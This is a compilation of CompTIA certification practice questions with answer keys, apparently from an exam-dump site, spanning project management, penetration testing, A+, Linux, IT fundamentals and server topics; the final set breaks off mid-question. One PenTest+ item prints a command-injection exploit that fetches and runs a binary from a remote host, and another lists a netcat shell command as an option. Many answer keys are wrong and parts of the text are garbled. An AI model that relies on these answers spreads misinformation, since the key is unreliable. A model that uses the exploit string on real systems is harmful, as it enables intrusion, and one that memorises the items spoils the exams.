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CompTIA PK0-004 online practice test

QUESTION 1
Two team members have concluded that documentation is not required due to the size of the current project. The
project manager has encouraged them to align strictly within the process. Which of the following conflict resolution
techniques has the project manager utilized?
A. Smoothing
B. Forcing
C. Compromising
D. Avoiding
Correct Answer: B
Reference: Kim Heldman, CompTIA Project+ Study Guide, 2nd Edition, Sybex, Indianapolis, 2017, p. 200

 

QUESTION 2
A project team has failed to deliver on changes the project manager outlined on a call two weeks ago. The project team
members indicate they did not remember the contents on the call. Which of the following should the project manager do
FIRST to improve the level of awareness of changes to the project schedule?
A. Define the communications plan.
B. Record the missed tasks on the issue log.
C. Provide meeting minutes after each call.
D. Complete a fishbone diagram.
Correct Answer: A

 

QUESTION 3
A change is being implemented on a project, and while in testing, it becomes clear that the change cannot be finalized
due to the severe impact it would have on other critical systems. Which of the following should the team consult to
determine which actions to take?
A. Incident response plan
B. Regression plan
C. Progress plan
D. Business continuity plan
Correct Answer: D


QUESTION 4
A project\\’s key stakeholders have requested significant changes that will affect the scope. To adjust the project scope,
which of the following need to be changed? (Choose two.)
A. Cost performance parameter
B. Project schedule
C. KPI
D. Corrective action plan
E. WBS
Correct Answer: BE
Reference: Kim Heldman, CompTIA Project+ Study Guide, 2nd Edition, Sybex, Indianapolis, 2017, p. 133
https://books.google.co.za/books?id=evR0gPFBHJ4Candpg=PA128andlpg=PA128anddq=complete+a+project
+sooner+-+update
+WBSandsource=blandots=O650UKpUEKandsig=mlexbBmFJKkAuXuftqO2YjLLOgoandhl=enandsa=Xandved=0ahUK
Ewi8uJXIj_DXAhUKuRQKHW3fDKAQ6AEIMTAC#v=onepageandq=complete%20a%20project%20sooner%
20-%20update% 20WBSandf=false

 

QUESTION 5
Which of the following is the primary purpose of an MOA or an MOU?
A. State expectations of all signatory parties to reduce potential misunderstandings.
B. Facilitate potential legal action and resulting remediation if one of the signatory parties violates any terms.
C. Enumerate a detailed code of conduct for all employees, contractors, and subcontractors participating in the
program.
D. Provide transparency to competitors regarding all signatory parties.
Correct Answer: A
Reference: Kim Heldman, CompTIA Project+ Study Guide, 2nd Edition, Sybex, Indianapolis, 2017, p. 303

 

QUESTION 6
A project manager is creating the WBS.
In which of the following phases is the project?
A. Initiation
B. Planning
C. Execution
D. Closing
Correct Answer: B
Reference: Kim Heldman, CompTIA Project+ Study Guide, 2nd Edition, Sybex, Indianapolis, 2017, p. 139

 

QUESTION 7
A risk with a high probability and medium consequence to a project has been identified. In response, the project
manager has purchased an insurance plan with the intent to provide additional funds if the risk is realized. There is no
risk to the schedule or scope. Which of the following types of risk strategies is this an example of?
A. Accept risk
B. Transfer risk
C. Mitigate risk
D. Exploit risk
E. Avoid risk
Correct Answer: B
“Transfer: Moving the liability for the risk to a third party by purchasing insurance, performance bonds, and so on”
Excerpt From: Kim Heldman. “CompTIA Project+ Study Guide.” iBooks.

 

QUESTION 8
Which of the following are the roles involved in a Scrum project?
A. Scrum master, development team, quality coach
B. Scrum master, business analyst, product owner
C. Scrum master, product owner, development team
D. Scrum master, project sponsor, business analyst
Correct Answer: C

 

QUESTION 9
A project team is not delivering their tasks in a timely manner. Additionally, tasks are being reworked because
requirements continue to be identified as work packages are being delivered.
Which of the following are MOST likely missing from the project? (Choose two.)
A. Project charter
B. Organizational chart
C. Scope document
D. Status report
E. Business case
F. Project plan
Correct Answer: CF

 

QUESTION 10
Which of the following make up a company\\’s portfolio? (Choose two.)
A. People
B. Procedures
C. Projects
D. Processes
E. Profit
F. Programs
Correct Answer: CF

 

QUESTION 11
Which of the following techniques modifies the schedule based upon resource constraints?
A. Critical Chain Method
B. Critical Path Method
C. Arrow Diagramming Method
D. Precedence Diagramming Method
Correct Answer: A

 

QUESTION 12
Which of the following is the MOST appropriate communication method for a highly confidential message to a
Multilanguage global project team?
A. Encrypted email
B. Face-to-face communication with a translator
C. Social media communication through a secure connection
D. Voice conferencing
Correct Answer: A

 

QUESTION 13
A vendor is unable to deliver an order by the specified date.
Which of the following should be the project manager\\’s NEXT steps? (Choose two.)
A. The project manager should notify the affected project team and, if necessary, adjust the schedule because the
project could potentially encounter delays.
B. The project manager should notify the project sponsor to update the schedule in the documentation because the
project could potentially encounter delays.
C. The project manager should adjust the schedule in the documentation and, if necessary, take steps to rush other
areas of the schedule so the project will not encounter delays.
D. The project manager should update the project management plan in the documentation to reflect the reason for the possible delay in the project timeline.
E. The project manager should update the procurement plan and action items to reflect the possible delay in the project
timeline.
Correct Answer: AD

 

QUESTION 14
Several team members report that meeting objectives are not being met.
Which of the following documents would a project manager create to make team meetings more effective? (Choose
two.)
A. Create an SOW prior to each meeting and adhere to it.
B. Create a meeting agenda prior to each meeting and adhere to it.
C. Create a lessons learned list prior to each meeting and adhere to it.
D. Create a project charter prior to each meeting and adhere to it.
E. Create an action item list during the meeting and adhere to it.
F. Create a corrective action plan prior to each meeting and adhere to it.
G. Create a WBS prior to each meeting and adhere to it.
Correct Answer: BE


QUESTION 15
A change must be made to a project to comply with municipal code. The project manager updates the relevant shared
project documents. The key stakeholders subsequently update the documents with new information. When the project
deliverables are reinspected, they fail the inspection. Which of the following is the MOST likely reason for the failed
inspection?
A. There were insufficient resources assigned to the task.
B. The prior document version was not reviewed.
C. Version control processes were not applied.
D. The CCB was not contacted.
Correct Answer: C

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QUESTION 1
A consultant is identifying versions of Windows operating systems on a network Which of the following Nmap
commands should the consultant run?
A. nmap -T4 -v -sU -iL /tmp/list.txt -Pn –script smb-system-info
B. nmap -T4 -v -iL /tmp/list .txt -Pn –script smb-os-disccvery
C. nmap -T4 -v -6 -iL /tmp/liat.txt -Pn –script smb-os-discovery -p 135-139
D. nmap -T4 -v –script smb-system-info 192.163.1.0/24
Correct Answer: B

QUESTION 2
A penetration tester is utilizing social media to gather information about employees at a company. The tester has
created a list of popular words used in employee profile s. For which of the following types of attack would this
information be used?
A. Exploit chaining
B. Session hijacking
C. Dictionary
D. Karma
Correct Answer: C

QUESTION 3
A company received a report with the following finding While on the internal network the penetration tester was able to
successfully capture SMB broadcasted user ID and password information on the network and decode this information
This allowed the penetration tester to then join their own computer to the ABC domain
Which of the following remediation\\’s are appropriate for the reported findings\\’? (Select TWO)
A. Set the Schedule Task Service from Automatic to Disabled
B. Enable network-level authentication
C. Remove the ability from Domain Users to join domain computers to the network
D. Set the netlogon service from Automatic to Disabled
E. Set up a SIEM alert to monitor Domain joined machines
F. Set “Digitally sign network communications” to Always
Correct Answer: BC

QUESTION 4
A client requests that a penetration tester emulate a help desk technician who was recently laid off. Which of the
following BEST describes the abilities of the threat actor?
A. Advanced persistent threat
B. Script kiddie
C. Hacktivist
D. Organized crime
Correct Answer: B
Reference https://www.sciencedirect.com/topics/computer-science/disgruntled-employee

QUESTION 5
A penetration tester executed a vulnerability scan against a publicly accessible host and found a web server that is
vulnerable to the DROWN attack. Assuming this web server is using the IP address 127.212.31.17, which of the
following should the tester use to verify a false positive?
A. Openssl s_client -tls1_2 -connect 127.212.31.17:443
B. Openssl s_client -ss12 -connect 127.212.31.17:443
C. Openssl s_client -ss13 -connect 127.212.31.17:443
D. Openssl s_server -tls1_2 -connect 127.212.31.17:443
Correct Answer: A

QUESTION 6
A penetration tester has obtained access to an IP network subnet that contains ICS equipment intercommunication.
Which of the following attacks is MOST likely to succeed in creating a physical effect?
A. DNS cache poisoning
B. Record and replay
C. Supervisory server SMB
D. Blind SQL injection
Correct Answer: A

QUESTION 7
A penetration tester is testing a web application and is logged in as a lower-privileged user. The tester runs arbitrary
JavaScript within an application, which sends an XMLHttpRequest, resulting in exploiting features to which only an
administrator should have access. Which of the following controls would BEST mitigate the vulnerability?
A. Implement authorization checks.
B. Sanitize all the user input.
C. Prevent directory traversal.
D. Add client-side security controls
Correct Answer: A

QUESTION 8
DRAG DROP
A technician is reviewing the following report. Given this information, identify which vulnerability can be definitively
confirmed to be a false positive by dragging the “false positive” token to the “Confirmed” column for each vulnerability
that is a false positive.
Select and Place:

compTIA pt0-001 exam questions q8

Correct Answer:

compTIA pt0-001 exam questions q8-1

QUESTION 9
Consumer-based IoT devices are often less secure than systems built for traditional desktop computers.
Which of the following BEST describes the reasoning for this?
A. Manufacturers developing IoT devices are less concerned with security.
B. It is difficult for administrators to implement the same security standards across the board.
C. IoT systems often lack the hardware power required by more secure solutions.
D. Regulatory authorities often have lower security requirements for IoT systems.
Correct Answer: A

QUESTION 10
A penetration tester is designing a phishing campaign and wants to build list of users (or the target organization. Which
of the following techniques would be the MOST appropriate? (Select TWO)
A. Query an Internet WHOIS database.
B. Search posted job listings.
C. Scrape the company website.
D. Harvest users from social networking sites.
E. Socially engineer the corporate call center.
Correct Answer: CD

QUESTION 11
The following command is run on a Linux file system:
Chmod 4111 /usr/bin/sudo
Which of the following issues may be exploited now?
A. Kernel vulnerabilities
B. Sticky bits
C. Unquoted service path
D. Misconfigured sudo
Correct Answer: B

QUESTION 12
A security assessor is attempting to craft specialized XML files to test the security of the parsing functions during ingest
into a Windows application. Before beginning to test the application, which of the following should the assessor request
from the organization?
A. Sample SOAP messages
B. The REST API documentation
C. A protocol fuzzing utility
D. An applicable XSD file
Correct Answer: D

QUESTION 13
A company hires a penetration tester to determine if there are any vulnerabilities in its new VPN concentrator installation
with an external IP of 100.170.60.5.
Which of the following commands will test if the VPN is available?
A. fpipe.exe -1 8080 -r 80 100.170.60.5
B. ike-scan -A -t 1 –sourceip=apoof_ip 100.170.60.5
C. nmap -sS -A -f 100.170.60.5
D. nc 100.170.60.5 8080 /bin/sh
Correct Answer: B

QUESTION 14
Which of the following is the MOST comprehensive type of penetration test on a network?
A. Black box
B. White box
C. Gray box
D. Red team
E. Architecture review
Correct Answer: A
Reference: https://purplesec.us/types-penetration-testing/

QUESTION 15
A system security engineer is preparing to conduct a security assessment of some new applications. The applications
were provided to the engineer as a set that contains only JAR files. Which of the following would be the MOST detailed
method to gather information on the inner working of these applications?
A. Launch the applications and use dynamic software analysis tools, including fuzz testing
B. Use a static code analyzer on the JAR filet to look for code Quality deficiencies
C. Decompile the applications to approximate source code and then conduct a manual review
D. Review the details and extensions of the certificate used to digitally sign the code and the application
Correct Answer: A

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QUESTION 1
Which of the following network servers would be MOST useful in translating a URL into an IP address?
A. Print server
B. DNS server
C. Mail server
D. DHCP server
E. Web server
Correct Answer: B

 

QUESTION 2
A user logs on a PC and receives a message stating there is a duplicate IP address on the network. After a system
restart, the user notices the same error. Which of the following is the MOST probable cause of the error?
A. The user is still logged into another device.
B. The user has set a static IP address.
C. The user has moved to a different office.
D. The user has wireless and wired connections.
Correct Answer: B

 

QUESTION 3
A service technician made some changes to the BIOS, and now the computer is unable to boot. Which of the following
actions should the technician take to restore the default settings?
A. Load the registry from a backup
B. Remove the CMOS battery
C. Perform a hard reset
D. Completely drain the lithium-ion battery
Correct Answer: B

 

QUESTION 4
Which of the following allows several VMs to run on a single host?
A. Resource pooling
B. Containerization
C. On demand
D. Measured service
Correct Answer: B

 

QUESTION 5
A new loT device was physically installed but the user has been unable to set it up from a smartphone Other loT devices
can be managed on the network via a smartphone A technician notices the following services are disabled:
1.
NFC
2.
Mobile data
3.
Location services
4.
Bluetooth
5.
Mobile hotspot
6.
Paver-save mode
7.
Printing
8.
Airplane mode
Which of the following should the technician do to allow the user to complete the setup process?
A. Enable Bluetooth
B. Modify power-save mode settings
C. Turn on airplane mode.
D. Configure location services.
Correct Answer: A

 

QUESTION 6
A user needs access to a shared mailbox inside the mobile mail application through the company\\’s cloudbased email
service. Which of the following protocols is required to make this possible?
A. IMAP
B. S/MIME
C. SMTP
D. SNMP
Correct Answer: C

 

QUESTION 7
A projector\\’s image begins to flicker during a presentation. The laptop display does not produce this issue.
When a technician changes the resolution on the laptop, the issue persists. Which of the following is the NEXT step the
technician should take?
A. Check the connectivity of the VGA cable.
B. Check the connectivity of the power cable.
C. Change the aspect ratio on the laptop.
D. Change the settings of the projector.
Correct Answer: A

 

QUESTION 8
A technician is building a CAD workstation for a user who will be saving files remotely. Which of the following
components are MOST important to include when configuring the system? (Choose two.)
A. Gigabit NIC
B. Graphics card
C. Liquid cooling unit
D. HDD size
E. RAM
Correct Answer: BE

 

QUESTION 9
A company is starting a new retail division and is gathering requirements for its new tablet-Cased PoS systems. The
company has partnered with a large smartphone company to accept payments from its customers” phones Which of the
following will the PoS systems need to accept this type of payment?
A. Bluetooth
B. NFC
C. Chip and pin reader
D. Mobile hotspot
Correct Answer: A

 

QUESTION 10
A customer wants to install a new computer in a room that does not have any network drops. The customer authorizes a
technician to install a new network jack in the room. Which of the following tools should the technician use to finish
installing the new network jack?
A. Multimeter
B. Loopback plug
C. Crimper
D. Punchdown tool
Correct Answer: C

 

QUESTION 11
Which of the following servers provides access to user data over a LAN?
A. Proxy server
B. DHCP server
C. Web server
D. File server
Correct Answer: D


QUESTION 12
Which of the following server types caches previously visited web pages for faster access in the future?
A. Proxy server
B. Web hosting server
C. DNS server
D. Branch cache server
Correct Answer: D

 

QUESTION 13
When a customer types on a laptop keyboard, the mouse cursor sometimes jumps to random places.
Which of the following configuration changes should resolve the Issue?
A. Decrease the keyboard repeat rate.
B. Increase mouse acceleration.
C. Calibrate the touch screen.
D. Disable the touch pad.
Correct Answer: D

 

QUESTION 14
After restoring a laptop to factory settings, a client can no longer use the touchpad on it. A technician verifies the system
state was fully restored from the most recent, fully working backup. Which of the following should the technician check
for NEXT using the fewest number of steps?
A. System restore
B. Installed USB mouse
C. Updated drivers
D. Function key toggle
Correct Answer: D

 

QUESTION 15
Which of the following networking protocols would be BEST track packages through a sorting facility?
A. RFID
B. NFC
C. Bluetooth
D. Zigbee
Correct Answer: D


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QUESTION 1
A junior systems administrator is scanning archive.tar files with an antivirus scanner. The administrator is given the
following tasks:
1.
List all files that are in the archive.tar files.
2.
Extract all files from the archive.tar files.
Which of the following actions should be performed to meet these requirements? (Choose two.)
A. tar -tvf archive.tar
B. tar -xf archive.tar
C. tar -A archive.tar
D. tar -av archive.tar
E. tar -r archive.tar
F. tar -uvz archive.tar
Correct Answer: AB
Reference: https://linuxize.com/post/how-to-create-and-extract-archives-using-the-tar-command-in-linux/
Exam B

 

QUESTION 2
Which of the following commands will let a Linux user know the PCI devices that are installed in the system?
A. cat /proc/devices/pci
B. lspci
C. lsdev
D. cat /proc/sys/dev
Correct Answer: B
Reference: https://opensource.com/article/19/9/linux-commands-hardware-information

 

QUESTION 3
A Linux storage administrator wants to create a logical volume group. Which of the following commands is required to
start the process?
A. pvcreate
B. vgcreate
C. lvcreate
D. mkfs.xfs
Correct Answer: B
Reference: https://www.thegeekstuff.com/2010/08/how-to-create-lvm/

 

QUESTION 4
A Linux administrator needs to remove a USB drive from a system. The unmount command fails, stating the device is
busy. Which of the following commands will show the reason for this error?
A. lsusb | grep /mnt/usb
B. mount | grep /mnt/usb
C. ps aux | grep /mnt/usb
D. lsof | grep /mnt/usb
Correct Answer: D
Reference: https://www.systutorials.com/force-linux-unmount-filesystem-reporting-device-busy/

 

QUESTION 5
A Linux administrator is using a public cloud provider to host servers for a company\\’s website. Using the provider\\’s
tools, the administrator wrote a JSON file to define how to deploy the servers. Which of the following techniques did the
administrator use?
A. Infrastructure as code
B. Build automation
C. Platform as a service
D. Automated configuration
Correct Answer: B
Reference: https://cloud.google.com/cloud-build/docs/build-config

 

QUESTION 6
An administrator receives the following message on a remote server: Cannot open display. Which of the following
should the administrator have used to log in to the server?
A. xrdp -h server.company.com
B. ssh -X server.company.com
C. xvnc server.company.com
D. rdesktop server.company.com
Correct Answer: B

 

QUESTION 7
All users are reporting that they cannot connect to the SFTP server. The administrator runs a scan:comptia xk0-004 exam questions q7

Which of the following would allow the administrator to fix the problem?
A. Allow SFTP connections on port 22 using /etc/sysconfig/iptables.
B. Allow SFTP connections on port 20 and 21 using /etc/sysconfig/iptables.
C. Allow SFTP connections on port 25 using /etc/sysconfig/iptables.
D. Allow SFTP connections on port 1456 using /etc/sysconfig/iptables.
Correct Answer: A

 

QUESTION 8
A Linux systems administrator needs to set permissions on an application with the following parameters:
The owner of the application should be able to read, write, and execute the application. Members of the group should be
able to read and execute the application. Everyone else should not have access to the application. Which of the
following commands would BEST accomplish these tasks?
A. chmod 710
B. chmod 730
C. chmod 750
D. chmod 760
Correct Answer: D

 

QUESTION 9
An administrator is logged into a server remotely and wants to determine if the system is a VM. Which of the following
commands would assist with this?
A. dmesg
B. ps
C. top
D. vmstat
Correct Answer: D
Reference: https://ostechnix.com/check-linux-system-physical-virtual-machine/

 

QUESTION 10
A Linux administrator wants to configure log messages of critical or higher severity levels from the cron utility to be
logged to the console. Which of the following will accomplish this objective?
A. Edit the /etc/logrotate.d/cron file to include the line cron.emerg.* /dev/console
B. Edit the /etc/rsyslog.conf file to include the line cron.emerg.* /dev/console
C. Edit the /etc/logrotate.conf file to include the line cron.emerg.* /dev/console
D. Edit the /etc/rsyslog.d/conf file to include the line cron.emerg.* /dev/console
Correct Answer: B

 

QUESTION 11
A Linux administrator must identify a user with high disk usage. The administrator runs the # du ? /home/* command
and gets the following output:comptia xk0-004 exam questions q11

Based on the output, User3 has the largest amount of disk space used. To clean up the file space, the administrator
needs to find out more information about the specific files that are using the most disk space. Which of the following
commands will accomplish this task?
A. df –k /home/User/files.txt
B. du –a /home/User3/*
C. du –sh /home/User/
D. find . –name /home/User3 -print
Correct Answer: C
Reference: https://unix.stackexchange.com/questions/37221/finding-files-that-use-the-most-disk-space

 

QUESTION 12
A configuration management tool running every minute is enforcing the service HTTPd to be started.
To perform maintenance, which of the following series of commands can be used to prevent the service from being
started?
A. systemctl stop httpd andand systemctl mask httpd
B. systemctl disable httpd andand systemctl mask httpd
C. systemctl stop httpd andand systemctl hide httpd
D. systemctl disable httpd andand systemctl hide httpd
Correct Answer: A

 

QUESTION 13
A junior systems administrator has generated a PKI certificate for SSH sessions. The administrator would like to
configure authentication without passwords to remote systems. Which of the following should the administrator
perform?
A. Add the content of id_rsa.pub file to the remote system ~/.ssh/authorized_keys location.
B. Add the content of id_rsa file to the remote system ~/.ssh/authorized_keys location.
C. Add the content of id_rsa file to the remote system ~/.ssh/known_hosts location.
D. Add the content of id_rsa.pub file to the remote system ~/.ssh/known_hosts location.
Correct Answer: A
Reference: https://kb.iu.edu/d/aews

 

QUESTION 14
A junior Linux administrator is performing version control on a Git repository. The administrator is given a list of
tasks to complete:
List the currently installed Git release.
Show the status reporting of the clone.
Which of the following commands would allow the administrator to complete these tasks? (Choose two.)
A. git clone –progress
B. git clone –recursive
C. git –help
D. git clone –dissociate
E. git –version
F. git clone –shared
Correct Answer: AC

 

QUESTION 15
A Linux administrator wants to obtain a list of files and subdirectories in the /etc directory that contain the word
“services”. Once the files and subdirectories are discovered, they should be listed alphabetically in the
/var/tmp/foundservices file. Which of the following shell scripts will accomplish this task?
A. #/bin/bashfind /etc –name services | sort > /var/tmp/foundservices
B. #/bin/bashlocate /etc –sort –name services > /var/tmp/foundservices
C. #/bin/bashfind –name services –sort /var/tmp/foundservices
Correct Answer: B


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Latest update CompTIA fc0-u61 exam questions and answers online practice test

QUESTION 1
For a disaster recovery exercise, a company wants to ensure customer data is recovered before operational data. This
is an example of:
A. redundancy.
B. replication.
C. prioritization.
D. fault tolerance.
Correct Answer: C

 

QUESTION 2
Which of the following is a compiled language?
A. Perl
B. JScript
C. Java
D. PowerShell
Correct Answer: C

 

QUESTION 3
A startup company has created a logo. The company wants to ensure no other entity can use the logo for any purpose.
Which of the following should the company use to BEST protect the logo? (Select TWO).
A. Patent
B. Copyright
C. NDA
D. Trademark
E. EULA
Correct Answer: BD

 

QUESTION 4
Which of the following would a company consider an asset?
A. An external company used to destroy defective hard drives
B. Information residing on backup tapes
C. A company-sponsored technology conference
D. A certified third-party vendor that provides critical components
Correct Answer: B

 

QUESTION 5
Given the following pseudocode: If there are seven apples in the basket, which of the following would be the number of  oranges a person eats?comptia fc0-u61 exam questions q5

A. 10
B. 14
C. 15
D. 17
Correct Answer: C

 

QUESTION 6
A user revisits a website and receives a message that the site may not be secure. The user is prompted to click a link to
continue to the site. Which of the following would MOST likely identify the issue?
A. Checking the proxy settings
B. Checking that caching is enabled
C. Checking browser add-ons
D. Checking certificate validity
Correct Answer: D

 

QUESTION 7
Ann, the president of a company, has requested assistance with choosing the appropriate Internet connectivity for her
home. The home is in a remote location and has no connectivity to existing infrastructure. Which of the following Internet
service types should MOST likely be used?
A. Fiber
B. DSL
C. Cable
D. Satellite
Correct Answer: D

 

QUESTION 8
Which of the following BEST describes the practice of providing user credentials when logging onto the network?
A. Output
B. Storage
C. Input
D. Processing
Correct Answer: C

 

QUESTION 9
A user wants to ensure port 3389 is open for remote desktop on a PC. Which of the following describes where the user
should verify the port is open?
A. Antivirus
B. Anti-malware
C. Device Manager
D. Host firewall
Correct Answer: D

 

QUESTION 10
Which of the following would indicate the FASTEST processor speed?
A. 3.6GHz
B. 3.6MHz
C. 3.6Mbps
D. 3.6Gbps
Correct Answer: A


QUESTION 11
SQL databases use primary and foreign keys to enable which of the following?
A. Rows
B. Fields
C. Schemas
D. Relationships
Correct Answer: D

 

QUESTION 12
A UPS provides protection against:
A. denial of service
B. replay attack.
C. power outages.
D. wiretapping.
Correct Answer: C

 

QUESTION 13
A technician is installing a new wireless network and wants to secure the wireless network to prevent unauthorized
access. Which of the following protocols would be the MOST secure?
A. WPA
B. SSID
C. WEP
D. WPA2
Correct Answer: D

 

QUESTION 14
A systems administrator wants to return results for a time range within a database. Which of the following commands
should the administrator use?
A. SELECT
B. INSERT
C. DELETE
D. UPDATE
Correct Answer: A

 

QUESTION 15
Which of the following is MOST likely used to represent international text data?
A. ASCII
B. Octal
C. Hexadecimal
D. Unicode
Correct Answer: D


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QUESTION 1
DRAG DROP
You are a penetration tester reviewing a client\\’s website through a web browser.
INSTRUCTIONS
Review all components of the website through the browser to determine if vulnerabilities are present.
Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button. comptia pt1-002 questions q1 comptia pt1-002 questions q1-1 comptia pt1-002 questions q1-2 comptia pt1-002 questions q1-3

Select and Place:

comptia pt1-002 questions q1-4

Correct Answer:

comptia pt1-002 questions q1-5

 

QUESTION 2
Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final
security assessment report?
A. S/MIME
B. FTPS
C. DNSSEC
D. AS2
Correct Answer: A
Reference: https://searchsecurity.techtarget.com/answer/What-are-the-most-important-email-security-protocols


QUESTION 3
A penetration tester has been given eight business hours to gain access to a client\\’s financial system. Which of the
following techniques will have the highest likelihood of success?
A. Attempting to tailgate an employee going into the client\\’s workplace
B. Dropping a malicious USB key with the company\\’s logo in the parking lot
C. Using a brute-force attack against the external perimeter to gain a foothold
D. Performing spear phishing against employees by posing as senior management
Correct Answer: C

 

QUESTION 4
A software company has hired a penetration tester to perform a penetration test on a database server. The tester has
been given a variety of tools used by the company\\’s privacy policy. Which of the following would be the BEST to use to
find vulnerabilities on this server?
A. OpenVAS
B. Nikto
C. SQLmap
D. Nessus
Correct Answer: C
Reference: https://phoenixnap.com/blog/best-penetration-testing-tools

 

QUESTION 5
When negotiating a penetration testing contract with a prospective client, which of the following disclaimers should be
included in order to mitigate liability in case of a future breach of the client\\’s systems?
A. The proposed mitigations and remediations in the final report do not include a cost-benefit analysis.
B. The NDA protects the consulting firm from future liabilities in the event of a breach.
C. The assessment reviewed the cyber key terrain and most critical assets of the client\\’s network.
D. The penetration test is based on the state of the system and its configuration at the time of assessment.
Correct Answer: D

 

QUESTION 6
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that
was utilized:
exploit = “POST “
exploit += “/cgi-bin/index.cgi?action=loginandPath=%27%0A/bin/sh${IFS} –
c${IFS}\\’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache\\’%
0A%27andloginUser=aandPwd=a” exploit += “HTTP/1.1”
Which of the following commands should the penetration tester run post-engagement?
A. grep –v apache ~/.bash_history > ~/.bash_history
B. rm –rf /tmp/apache
C. chmod 600 /tmp/apache
D. taskkill /IM “apache” /F
Correct Answer: B

 

QUESTION 7
Place each of the following passwords in order of complexity from least complex (1) to most complex (4), based on the
character sets represented Each password may be used only once.
Select and Place:

comptia pt1-002 questions q7

Correct Answer:

comptia pt1-002 questions q7-1

 

QUESTION 8
Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?
A. NDA
B. MSA
C. SOW
D. MOU
Correct Answer: C

 

QUESTION 9
A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A
penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to
the IaaS component of the client\\’s VM. Which of the following cloud attacks did the penetration tester MOST likely
implement?
A. Direct-to-origin
B. Cross-site scripting
C. Malware injection
D. Credential harvesting
Correct Answer: A

 

QUESTION 10
Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:
A. devices produce more heat and consume more power.
B. devices are obsolete and are no longer available for replacement.
C. protocols are more difficult to understand.
D. devices may cause physical world effects.
Correct Answer: C
Reference: https://www.hindawi.com/journals/scn/2018/3794603/

 

QUESTION 11
A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the
following:
Pre-engagement interaction (scoping and ROE) Intelligence gathering (reconnaissance) Threat modeling Vulnerability
analysis Exploitation and post exploitation Reporting
Which of the following methodologies does the client use?
A. OWASP Web Security Testing Guide
B. PTES technical guidelines
C. NIST SP 800-115
D. OSSTMM
Correct Answer: B
Reference: https://kirkpatrickprice.com/blog/stages-of-penetration-testing-according-to-ptes/

 

QUESTION 12
A penetration tester wants to target NETBIOS name service. Which of the following is the most likely command to
exploit the NETBIOS name service?
A. arPspoof
B. nmap
C. responder
D. burpsuite
Correct Answer: B
Reference: http://www.hackingarticles.in/netbios-and-smb-penetration-testing-on-windows/

 

QUESTION 13
A penetration tester conducted a vulnerability scan against a client\\’s critical servers and found the following:comptia pt1-002 questions q13

Which of the following would be a recommendation for remediation?
A. Deploy a user training program
B. Implement a patch management plan
C. Utilize the secure software development life cycle
D. Configure access controls on each of the servers
Correct Answer: B

 

QUESTION 14
A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the
target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this
objective?
A. Wait for the next login and perform a downgrade attack on the server.
B. Capture traffic using Wireshark.
C. Perform a brute-force attack over the server.
D. Use an FTP exploit against the server.
Correct Answer: B
Reference: https://shahmeeramir.com/penetration-testing-of-an-ftp-server-19afe538be4b

 

QUESTION 15
Which of the following documents BEST describes the manner in which a security assessment will be conducted?
A. BIA
B. SOW
C. SLA
D. MSA
Correct Answer: A


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QUESTION 1
Which of the following DR testing scenarios is described as verbally walking through each step of the DR plan in the
context of a meeting?
A. Live failover
B. Simulated failover
C. Asynchronous
D. Tabletop
Correct Answer: A

 

QUESTION 2
A technician is connecting a Linux server to a share on a NAS. Which of the following is the MOST appropriate native
protocol to use for this task?
A. CIFS
B. FTP
C. SFTP
D. NFS
Correct Answer: A
Reference: https://www.redhat.com/en/topics/data-storage/network-attached-storage

 

QUESTION 3
Which of the following tools will analyze network logs in real time to report on suspicious log events?
A. Syslog
B. DLP
C. SIEM
D. HIPS
Correct Answer: C
Reference: https://www.manageengine.com/products/eventlog/syslog-server.html

 

QUESTION 4
A systems administrator is performing maintenance on 12 Windows servers that are in different racks at a large
datacenter. Which of the following would allow the administrator to perform maintenance on all 12 servers without
having to physically be at each server? (Choose two.)
A. Remote desktop
B. IP KVM
C. A console connection
D. A virtual administration console
E. Remote drive access
F. A crash cart
Correct Answer: AB
Reference: https://www.blackbox.be/en-be/page/27559/Resources/Technical-Resources/Black-Box-Explains/kvm/Benefits-of-using-KVM-over-IP

 

QUESTION 5
After configuring IP networking on a newly commissioned server, a server administrator installs a straight-through
network cable from the patch panel to the switch. The administrator then returns to the server to test network
connectivity using the ping command. The partial output of the ping and ipconfig commands are displayed below:comptia sk0-005 exam questions q5

The administrator returns to the switch and notices an amber link light on the port where the server is connected. Which
of the following is the MOST likely reason for the lack of network connectivity?
A. Network port security
B. An improper VLAN configuration
C. A misconfigured DHCP server D. A misconfigured NIC on the server
Correct Answer: D

 

QUESTION 6
A company is running an application on a file server. A security scan reports the application has a known vulnerability.
Which of the following would be the company\\’s BEST course of action?
A. Upgrade the application package
B. Tighten the rules on the firewall
C. Install antivirus software
D. Patch the server OS
Correct Answer: D
Reference https://www.sciencedirect.com/topics/computer-science/vulnerability-scanner

 

QUESTION 7
A server administrator needs to harden a server by only allowing secure traffic and DNS inquiries. A port scan reports
the following ports are open:
A. 21
B. 22
C. 23
D. 53
E. 443
F. 636
Correct Answer: D
Reference: https://tools.cisco.com/security/center/resources/dns_best_practices

 

QUESTION 8
Users at a remote site have reported that a regularly used server is inaccessible. The systems administrator knows
users at another site also use the same server, so the administrator contacts them to see if the same issue is occurring.
Which of the following troubleshooting steps is this an example of?
A. Establish a plan to resolve the issue.
B. Establish a theory of probable cause.
C. Establish the scope of the issue.
D. Test the theory of probable cause.
Correct Answer: C

 

QUESTION 9
A technician is trying to determine the reason why a Linux server is not communicating on a network. The returned
network configuration is as follows:
eth0: flags=4163 mtu 1500 inet 127.0.0.1 network
255.255.0.0 broadcast 127.0.0.1
Which of the following BEST describes what is happening?
A. The server is configured to use DHCP on a network that has multiple scope options
B. The server is configured to use DHCP, but the DHCP server is sending an incorrect subnet mask
C. The server is configured to use DHCP on a network that does not have a DHCP server
D. The server is configured to use DHCP, but the DHCP server is sending an incorrect MTU setting
Correct Answer: B

 

QUESTION 10
A server administrator has been creating new VMs one by one. The administrator notices the system requirements are
very similar, even with different applications. Which of the following would help the administrator accomplish this task in
the SHORTEST amount of time and meet the system requirements?
A. Snapshot
B. Deduplication
C. System Restore
